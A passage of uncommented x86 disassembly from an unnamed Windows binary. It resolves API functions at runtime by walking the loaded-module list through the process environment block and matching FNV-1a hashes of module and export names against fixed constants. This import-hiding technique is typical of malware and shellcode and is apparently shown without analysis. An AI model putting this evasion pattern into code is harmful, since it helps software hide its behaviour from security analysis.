cmova eax, ecx
xor eax, edi
imul edi, eax, 0x1000193
test dl, dl
jne 0x45dc01
mov ecx, dword [esp + 0x10]
cmp edi, 0x43434137
je 0x45e757
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x14]
inc ecx
add eax, 4
mov dword [esp + 0x10], ecx
mov dword [esp + 0x18], eax
cmp ecx, dword [edx + 0x18]
jne 0x45dbf1
xor eax, eax
mov dword [0x4f8bb8], eax
lea ecx, [esp + 0x164]
push ecx
lea ecx, [esp + 0x16c]
push ecx
lea ecx, [esp + 0x38]
push ecx
lea ecx, [esp + 0x178]
push ecx
push dword [ebp + 8]
call eax
neg eax
sbb eax, eax
and dword [esp + 0x30], eax
mov ecx, 8
call fcn.004baba0
mov dword [esp + 0x1c], eax
mov dword [eax], 0
mov dword [eax + 4], 0
mov ebx, dword [0x4f081c]
test ebx, ebx
jne 0x45dd37
mov ecx, dword fs:[0x30]
mov ecx, dword [ecx + 0xc]
mov ecx, dword [ecx + 0xc]
mov eax, dword [ecx]
mov ecx, eax
mov dword [esp + 0x14], eax
mov edx, eax
mov dword [esp + 0x10], ecx
movzx ebx, word [ecx + 0x2c]
xor edi, edi
mov esi, dword [ecx + 0x30]
shr ebx, 1
mov dword [esp + 0x18], 0x811c9dc5
lea eax, [esi + ebx*2]
cmp esi, eax
cmova ebx, edi
test ebx, ebx
je 0x45dd1d
mov cl, byte [esi]
lea esi, [esi + 2]
movsx edx, cl
sub cl, 0x41
mov eax, edx
or eax, 0x20
cmp cl, 0x19
cmova eax, edx
inc edi
xor eax, dword [esp + 0x18]
imul eax, eax, 0x1000193
mov dword [esp + 0x18], eax
cmp edi, ebx
jne 0x45dce1
cmp eax, 0xa3e6f6c3
je 0x45e775
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
mov eax, dword [ecx]
mov ecx, eax
mov dword [esp + 0x10], ecx
cmp eax, edx
je 0x45dd2f
cmp dword [ecx + 0x18], 0
jne 0x45dcc2
xor ebx, ebx
mov dword [0x4f081c], ebx
mov eax, dword [0x4f8b74]
test eax, eax
jne 0x45ddd5
test ebx, ebx
je 0x45ddce
mov eax, dword [ebx + 0x3c]
mov ecx, dword [eax + ebx + 0x78]
lea eax, [ecx + ebx]
mov dword [esp + 0x14], eax
cmp eax, ebx
je 0x45ddce
xor ecx, ecx
mov dword [esp + 0x10], ecx
cmp dword [eax + 0x18], ecx
je 0x45ddce
mov eax, dword [eax + 0x20]
add eax, ebx
mov dword [esp + 0x18], eax
mov esi, dword [eax]
mov edi, 0x811c9dc5
add esi, ebx
mov dl, byte [esi]
inc esi
test dl, dl
je 0x45ddb9
movsx ecx, dl
lea esi, [esi + 1]
sub dl, 0x41
mov eax, ecx
or eax, 0x20
cmp dl, 0x19
mov dl, byte [esi - 1]
cmova eax, ecx
xor eax, edi
imul edi, eax, 0x1000193
test dl, dl
jne 0x45dd82
mov ecx, dword [esp + 0x10]
cmp edi, 0x56528c08
je 0x45e781
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x14]
inc ecx
add eax, 4
mov dword [esp + 0x10], ecx
mov dword [esp + 0x18], eax
cmp ecx, dword [edx + 0x18]
jne 0x45dd72
xor eax, eax
mov dword [0x4f8b74], eax
lea ecx, [esp + 0x158]
push ecx
lea ecx, [esp + 0x44]
push ecx
lea ecx, [esp + 0x178]
push ecx
push dword [ebp + 8]
call eax
test eax, eax
je 0x45e4a7
mov ebx, dword [0x4f081c]
test ebx, ebx
jne 0x45de96
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov ecx, eax
mov dword [esp + 0x14], eax
mov edx, eax
mov dword [esp + 0x10], ecx
nop
movzx ebx, word [ecx + 0x2c]
xor edi, edi
mov esi, dword [ecx + 0x30]
shr ebx, 1
mov dword [esp + 0x18], 0x811c9dc5
lea eax, [esi + ebx*2]
cmp esi, eax
cmova ebx, edi
test ebx, ebx
je 0x45de7c
nop
mov cl, byte [esi]
lea esi, [esi + 2]
movsx edx, cl
sub cl, 0x41
mov eax, edx
or eax, 0x20
cmp cl, 0x19
cmova eax, edx
inc edi
xor eax, dword [esp + 0x18]
imul eax, eax, 0x1000193
mov dword [esp + 0x18], eax
cmp edi, ebx
jne 0x45de40
cmp eax, 0xa3e6f6c3
je 0x45e79f
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
mov eax, dword [ecx]
mov ecx, eax
mov dword [esp + 0x10], ecx
cmp eax, edx
je 0x45de8e
cmp dword [ecx + 0x18], 0
jne 0x45de20
xor ebx, ebx
mov dword [0x4f081c], ebx
mov eax, dword [0x4f8bb0]
test eax, eax
jne 0x45df34
test ebx, ebx
je 0x45df2d
mov eax, dword [ebx + 0x3c]
mov ecx, dword [eax + ebx + 0x78]
lea eax, [ecx + ebx]
mov dword [esp + 0x14], eax
cmp eax, ebx
je 0x45df2d
xor ecx, ecx
mov dword [esp + 0x10], ecx
cmp dword [eax + 0x18], ecx
je 0x45df2d
mov eax, dword [eax + 0x20]
add eax, ebx
mov dword [esp + 0x18], eax
mov esi, dword [eax]
mov edi, 0x811c9dc5
add esi, ebx
mov dl, byte [esi]
inc esi
test dl, dl
je 0x45df18
movsx ecx, dl
lea esi, [esi + 1]
sub dl, 0x41
mov eax, ecx
or eax, 0x20
cmp dl, 0x19
mov dl, byte [esi - 1]
cmova eax, ecx
xor eax, edi
imul edi, eax, 0x1000193
test dl, dl
jne 0x45dee1
mov ecx, dword [esp + 0x10]
cmp edi, 0xd4badf
je 0x45e7ab
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x14]
inc ecx
add eax, 4
mov dword [esp + 0x10], ecx
mov dword [esp + 0x18], eax
cmp ecx, dword [edx + 0x18]
jne 0x45ded1
xor eax, eax
mov dword [0x4f8bb0], eax
push 0x409
call eax
mov ebx, dword [0x4f0780]
test ebx, ebx
jne 0x45dfd8
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov ecx, eax
mov dword [esp + 0x14], eax
mov edx, eax
mov dword [esp + 0x10], ecx
movzx ebx, word [ecx + 0x2c]
xor edi, edi
mov esi, dword [ecx + 0x30]
shr ebx, 1
mov dword [esp + 0x18], 0x811c9dc5
lea eax, [esi + ebx*2]
cmp esi, eax
cmova ebx, edi
test ebx, ebx
je 0x45dfbe
mov cl, byte [esi]
lea esi, [esi + 2]
movsx edx, cl
sub cl, 0x41
mov eax, edx
or eax, 0x20
cmp cl, 0x19
cmova eax, edx
inc edi
xor eax, dword [esp + 0x18]
imul eax, eax, 0x1000193
mov dword [esp + 0x18], eax
cmp edi, ebx
jne 0x45df82
cmp eax, 0x8ec4c73b
je 0x45e7c9
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
mov eax, dword [ecx]
mov ecx, eax
mov dword [esp + 0x10], ecx
cmp eax, edx
je 0x45dfd0
cmp dword [ecx + 0x18], 0
jne 0x45df63
xor ebx, ebx
mov dword [0x4f0780], ebx
mov eax, dword [0x4f0868]
test eax, eax
jne 0x45e076
test ebx, ebx
je 0x45e06f
mov eax, dword [ebx + 0x3c]
mov ecx, dword [eax + ebx + 0x78]
lea eax, [ecx + ebx]
mov dword [esp + 0x14], eax
cmp eax, ebx
je 0x45e06f
xor ecx, ecx
mov dword [esp + 0x10], ecx
cmp dword [eax + 0x18], ecx
je 0x45e06f
mov eax, dword [eax + 0x20]
add eax, ebx
mov dword [esp + 0x18], eax
mov esi, dword [eax]
mov edi, 0x811c9dc5
add esi, ebx
mov dl, byte [esi]
inc esi
test dl, dl
je 0x45e05a
movsx ecx, dl
lea esi, [esi + 1]
sub dl, 0x41
mov eax, ecx
or eax, 0x20
cmp dl, 0x19
mov dl, byte [esi - 1]
cmova eax, ecx
xor eax, edi
imul edi, eax, 0x1000193
test dl, dl
jne 0x45e023
mov ecx, dword [esp + 0x10]
cmp edi, 0xd99cc515
je 0x45e7d5
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x14]
inc ecx
add eax, 4
mov dword [esp + 0x10], ecx
mov dword [esp + 0x18], eax
cmp ecx, dword [edx + 0x18]
jne 0x45e013
xor eax, eax
mov dword [0x4f0868], eax
push 0x64
lea ecx, [esp + 0x17c]
push ecx
push dword [esp + 0x4c]
push dword [esp + 0x4c]
call eax
mov ebx, dword [0x4f0780]
test ebx, ebx
jne 0x45e127
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov ecx, eax
mov dword [esp + 0x14], eax
mov edx, eax
mov dword [esp + 0x10], ecx
movzx ebx, word [ecx + 0x2c]
xor edi, edi
mov esi, dword [ecx + 0x30]
shr ebx, 1
mov dword [esp + 0x18], 0x811c9dc5
lea eax, [esi + ebx*2]
cmp esi, eax
cmova ebx, edi
test ebx, ebx
je 0x45e10d
mov cl, byte [esi]
lea esi, [esi + 2]
movsx edx, cl
sub cl, 0x41
mov eax, edx
or eax, 0x20
cmp cl, 0x19
cmova eax, edx
inc edi
xor eax, dword [esp + 0x18]
imul eax, eax, 0x1000193
mov dword [esp + 0x18], eax
cmp edi, ebx
jne 0x45e0d1
cmp eax, 0x8ec4c73b
je 0x45e7f3
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
mov eax, dword [ecx]
mov ecx, eax
mov dword [esp + 0x10], ecx
cmp eax, edx
je 0x45e11f
cmp dword [ecx + 0x18], 0
jne 0x45e0b2
xor ebx, ebx
mov dword [0x4f0780], ebx
mov edx, dword [0x4f0868]
test edx, edx
jne 0x45e1c7
test ebx, ebx
je 0x45e1bf
mov eax, dword [ebx + 0x3c]
mov ecx, dword [eax + ebx + 0x78]
lea eax, [ecx + ebx]
mov dword [esp + 0x14], eax
cmp eax, ebx
je 0x45e1bf
xor ecx, ecx
mov dword [esp + 0x10], ecx
cmp dword [eax + 0x18], ecx
je 0x45e1bf
mov eax, dword [eax + 0x20]
add eax, ebx
mov dword [esp + 0x18], eax
mov esi, dword [eax]
mov edi, 0x811c9dc5
add esi, ebx
mov dl, byte [esi]
inc esi
test dl, dl
je 0x45e1aa
movsx ecx, dl
lea esi, [esi + 1]
sub dl, 0x41
mov eax, ecx
or eax, 0x20
cmp dl, 0x19
mov dl, byte [esi - 1]
cmova eax, ecx
xor eax, edi
imul edi, eax, 0x1000193
test dl, dl
jne 0x45e173
mov ecx, dword [esp + 0x10]
cmp edi, 0xd99cc515
je 0x45e7ff
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x14]
inc ecx
add eax, 4
mov dword [esp + 0x10], ecx
mov dword [esp + 0x18], eax
cmp ecx, dword [edx + 0x18]
jne 0x45e163
xor edx, edx
mov dword [0x4f0868], edx
mov ecx, dword [esp + 0x40]
lea eax, [esp + 0x240]
sub ecx, dword [esp + 0x158]
push 0x64
push eax
mov eax, dword [esp + 0x4c]
sbb eax, dword [esp + 0x164]
push eax
push ecx
call edx
mov ebx, dword [0x4f081c]
test ebx, ebx
jne 0x45e288
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov ecx, eax
mov dword [esp + 0x14], eax
mov edx, eax
mov dword [esp + 0x10], ecx
movzx ebx, word [ecx + 0x2c]
xor edi, edi
mov esi, dword [ecx + 0x30]
shr ebx, 1
mov dword [esp + 0x18], 0x811c9dc5
lea eax, [esi + ebx*2]
cmp esi, eax
cmova ebx, edi
test ebx, ebx
je 0x45e26e
mov cl, byte [esi]
lea esi, [esi + 2]
movsx edx, cl
sub cl, 0x41
mov eax, edx
or eax, 0x20
cmp cl, 0x19
cmova eax, edx
inc edi
xor eax, dword [esp + 0x18]
imul eax, eax, 0x1000193
mov dword [esp + 0x18], eax
cmp edi, ebx
jne 0x45e232
cmp eax, 0xa3e6f6c3
je 0x45e81d
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
mov eax, dword [ecx]
mov ecx, eax
mov dword [esp + 0x10], ecx
cmp eax, edx
je 0x45e280
cmp dword [ecx + 0x18], 0
jne 0x45e213
xor ebx, ebx
mov dword [0x4f081c], ebx
mov eax, dword [0x4f8bd0]
test eax, eax
jne 0x45e32a
test ebx, ebx
je 0x45e323
mov eax, dword [ebx + 0x3c]
mov ecx, dword [eax + ebx + 0x78]
lea eax, [ecx + ebx]
mov dword [esp + 0x14], eax
cmp eax, ebx
je 0x45e323
xor ecx, ecx
mov dword [esp + 0x10], ecx
cmp dword [eax + 0x18], ecx
je 0x45e323
mov eax, dword [eax + 0x20]
add eax, ebx
mov dword [esp + 0x18], eax
mov esi, dword [eax]
mov edi, 0x811c9dc5
add esi, ebx
mov dl, byte [esi]
inc esi
test dl, dl
je 0x45e30e
movsx ecx, dl
lea esi, [esi + 1]
sub dl, 0x41
mov eax, ecx
or eax, 0x20
cmp dl, 0x19
mov dl, byte [esi - 1]
cmova eax, ecx
xor eax, edi
imul edi, eax, 0x1000193
test dl, dl
jne 0x45e2d7
mov ecx, dword [esp + 0x10]
cmp edi, 0x87d5f568
je 0x45e829
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x14]
inc ecx
add eax, 4
mov dword [esp + 0x10], ecx
mov dword [esp + 0x18], eax
cmp ecx, dword [edx + 0x18]
jne 0x45e2c7
xor eax, eax
mov dword [0x4f8bd0], eax
call eax
mov ecx, dword [ebp + 8]
lea edx, [esp + 0x240]
push eax
push dword [esp + 0x20]
mov dword [esp + 0x15c], eax
lea eax, [esp + 0x180]
push eax
call fcn.004c6c70
mov ebx, dword [0x4f07ac]
add esp, 0xc
mov dword [esp + 0x34], eax
test ebx, ebx
jne 0x45e3f6
mov ecx, dword fs:[0x30]
mov ecx, dword [ecx + 0xc]
mov ecx, dword [ecx + 0xc]
mov eax, dword [ecx]
mov ecx, eax
mov dword [esp + 0x14], eax
mov edx, eax
mov dword [esp + 0x10], ecx
nop
movzx ebx, word [ecx + 0x2c]
xor edi, edi
mov esi, dword [ecx + 0x30]
shr ebx, 1
mov dword [esp + 0x18], 0x811c9dc5
lea eax, [esi + ebx*2]
cmp esi, eax
cmova ebx, edi
test ebx, ebx
je 0x45e3dc
nop
mov cl, byte [esi]
lea esi, [esi + 2]
movsx edx, cl
sub cl, 0x41
mov eax, edx
or eax, 0x20
cmp cl, 0x19
cmova eax, edx
inc edi
xor eax, dword [esp + 0x18]
imul eax, eax, 0x1000193
mov dword [esp + 0x18], eax
cmp edi, ebx
jne 0x45e3a0
cmp eax, 0xc0323159
je 0x45e847
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
mov eax, dword [ecx]
mov ecx, eax
mov dword [esp + 0x10], ecx
cmp eax, edx
je 0x45e3ee
cmp dword [ecx + 0x18], 0
jne 0x45e380
xor ebx, ebx
mov dword [0x4f07ac], ebx
mov eax, dword [0x4f8b98]
test eax, eax
jne 0x45e498
test ebx, ebx
je 0x45e491
mov eax, dword [ebx + 0x3c]
mov ecx, dword [eax + ebx + 0x78]
lea eax, [ecx + ebx]
mov dword [esp + 0x14], eax
cmp eax, ebx
je 0x45e491
xor ecx, ecx
mov dword [esp + 0x10], ecx
cmp dword [eax + 0x18], ecx
je 0x45e491
mov eax, dword [eax + 0x20]
add eax, ebx
mov dword [esp + 0x18], eax
mov esi, dword [eax]
mov edi, 0x811c9dc5
add esi, ebx
mov dl, byte [esi]
inc esi
test dl, dl
je 0x45e47c
movsx ecx, dl
lea esi, [esi + 1]
sub dl, 0x41
mov eax, ecx
or eax, 0x20
cmp dl, 0x19
mov dl, byte [esi - 1]
cmova eax, ecx
xor eax, edi
imul edi, eax, 0x1000193
test dl, dl
jne 0x45e445
mov ecx, dword [esp + 0x10]
cmp edi, 0xd7222356
je 0x45e853
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x14]
inc ecx
add eax, 4
mov dword [esp + 0x10], ecx
mov dword [esp + 0x18], eax
cmp ecx, dword [edx + 0x18]
jne 0x45e435
xor eax, eax
mov dword [0x4f8b98], eax
push dword [esp + 0x154]
push 0xffffffffffffffeb
push dword [esp + 0x3c]
call eax
push dword [esp + 0x1c]
mov edx, dword [esp + 0x34]
mov ecx, dword [ebp + 8]
call fcn.0045e8a0
add esp, 4
push dword [esp + 0x28]
call fcn.00411310
call eax
mov ebx, dword [0x4f081c]
test ebx, ebx
jne 0x45e566
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov ecx, eax
mov dword [esp + 0x14], eax
mov edx, eax
mov dword [esp + 0x10], ecx
nop dword [eax]
movzx ebx, word [ecx + 0x2c]
xor edi, edi
mov esi, dword [ecx + 0x30]
shr ebx, 1
mov dword [esp + 0x18], 0x811c9dc5
lea eax, [esi + ebx*2]
cmp esi, eax
cmova ebx, edi
test ebx, ebx
je 0x45e54c
nop
mov cl, byte [esi]
lea esi, [esi + 2]
movsx edx, cl
sub cl, 0x41
mov eax, edx
or eax, 0x20
cmp cl, 0x19
cmova eax, edx
inc edi
xor eax, dword [esp + 0x18]
imul eax, eax, 0x1000193
mov dword [esp + 0x18], eax
cmp edi, ebx
jne 0x45e510
cmp eax, 0xa3e6f6c3
je 0x45e871
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
mov eax, dword [ecx]
mov ecx, eax
mov dword [esp + 0x10], ecx
cmp eax, edx
je 0x45e55e
cmp dword [ecx + 0x18], 0
jne 0x45e4f0
xor ebx, ebx
mov dword [0x4f081c], ebx
mov eax, dword [0x4f8b88]
test eax, eax
jne 0x45e608
test ebx, ebx
je 0x45e601
mov eax, dword [ebx + 0x3c]
mov ecx, dword [eax + ebx + 0x78]
lea eax, [ecx + ebx]
mov dword [esp + 0x14], eax
cmp eax, ebx
je 0x45e601
xor ecx, ecx
mov dword [esp + 0x10], ecx
cmp dword [eax + 0x18], ecx
je 0x45e601
mov eax, dword [eax + 0x20]
add eax, ebx
mov dword [esp + 0x18], eax
mov esi, dword [eax]
mov edi, 0x811c9dc5
add esi, ebx
mov dl, byte [esi]
inc esi
test dl, dl
je 0x45e5ec
movsx ecx, dl
lea esi, [esi + 1]
sub dl, 0x41
mov eax, ecx
or eax, 0x20
cmp dl, 0x19
mov dl, byte [esi - 1]
cmova eax, ecx
xor eax, edi
imul edi, eax, 0x1000193
test dl, dl
jne 0x45e5b5
mov ecx, dword [esp + 0x10]
cmp edi, 0x757a47e1
je 0x45e87d
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x14]
inc ecx
add eax, 4
mov dword [esp + 0x10], ecx
mov dword [esp + 0x18], eax
cmp ecx, dword [edx + 0x18]
jne 0x45e5a5
xor eax, eax
mov dword [0x4f8b88], eax
lea ecx, [esp + 0x308]
push ecx
call eax
lock dec dword [0x4f8bac]
call fcn.004ba7b0
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 4
mov eax, dword [esp + 0x1c]
mov ebx, dword [eax + 0x18]
jmp 0x45cb50
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0x1c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, ebx
add eax, ebx
movzx eax, word [eax + edx*2]
mov eax, dword [ecx + eax*4]
add eax, ebx
jmp 0x45cbef
mov eax, dword [esp + 0x1c]
mov ebx, dword [eax + 0x18]
jmp 0x45d014
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0x1c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, ebx
add eax, ebx
movzx eax, word [eax + edx*2]
mov eax, dword [ecx + eax*4]
add eax, ebx
jmp 0x45d0b3
mov eax, dword [esp + 0x10]
mov ebx, dword [eax + 0x18]
jmp 0x45d1a0
mov eax, dword [esp + 0x14]
mov edx, dword [esp + 0x10]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, ebx
add eax, ebx
movzx eax, word [eax + edx*2]
mov eax, dword [ecx + eax*4]
add eax, ebx
jmp 0x45d243
mov eax, dword [esp + 0x18]
mov esi, dword [esp + 0x10]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + esi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
jmp 0x45d308
mov eax, dword [esp + 0x10]
mov ebx, dword [eax + 0x18]
jmp 0x45d6c0
mov edx, dword [esp + 0x14]
mov eax, dword [edx + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + ebx]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov ecx, dword [eax + ebx]
add ecx, ebx
jmp 0x45d760
mov eax, dword [esp + 0x10]
mov ebx, dword [eax + 0x18]
jmp 0x45d835
mov edx, dword [esp + 0x14]
mov eax, dword [edx + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + ebx]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + ebx]
add eax, ebx
jmp 0x45d8d4
mov eax, dword [esp + 0x10]
mov ebx, dword [eax + 0x18]
jmp 0x45da43
mov edx, dword [esp + 0x14]
mov eax, dword [edx + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + ebx]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + ebx]
add eax, ebx
jmp 0x45dae2
mov eax, dword [esp + 0x10]
mov ebx, dword [eax + 0x18]
jmp 0x45dbb0
mov edx, dword [esp + 0x14]
mov eax, dword [edx + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + ebx]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + ebx]
add eax, ebx
jmp 0x45dc4f
mov eax, dword [esp + 0x10]
mov ebx, dword [eax + 0x18]
jmp 0x45dd31
mov edx, dword [esp + 0x14]
mov eax, dword [edx + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + ebx]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + ebx]
add eax, ebx
jmp 0x45ddd0
mov eax, dword [esp + 0x10]
mov ebx, dword [eax + 0x18]
jmp 0x45de90
mov edx, dword [esp + 0x14]
mov eax, dword [edx + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + ebx]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + ebx]
add eax, ebx
jmp 0x45df2f
mov eax, dword [esp + 0x10]
mov ebx, dword [eax + 0x18]
jmp 0x45dfd2
mov edx, dword [esp + 0x14]
mov eax, dword [edx + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + ebx]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + ebx]
add eax, ebx
jmp 0x45e071
mov eax, dword [esp + 0x10]
mov ebx, dword [eax + 0x18]
jmp 0x45e121
mov edx, dword [esp + 0x14]
mov eax, dword [edx + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + ebx]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov edx, dword [eax + ebx]
add edx, ebx
jmp 0x45e1c1
mov eax, dword [esp + 0x10]
mov ebx, dword [eax + 0x18]
jmp 0x45e282
mov edx, dword [esp + 0x14]
mov eax, dword [edx + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + ebx]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + ebx]
add eax, ebx
jmp 0x45e325
mov eax, dword [esp + 0x10]
mov ebx, dword [eax + 0x18]
jmp 0x45e3f0
mov edx, dword [esp + 0x14]
mov eax, dword [edx + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + ebx]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + ebx]
add eax, ebx
jmp 0x45e493
mov eax, dword [esp + 0x10]
mov ebx, dword [eax + 0x18]
jmp 0x45e560
mov edx, dword [esp + 0x14]
mov eax, dword [edx + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + ebx]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + ebx]
add eax, ebx
jmp 0x45e603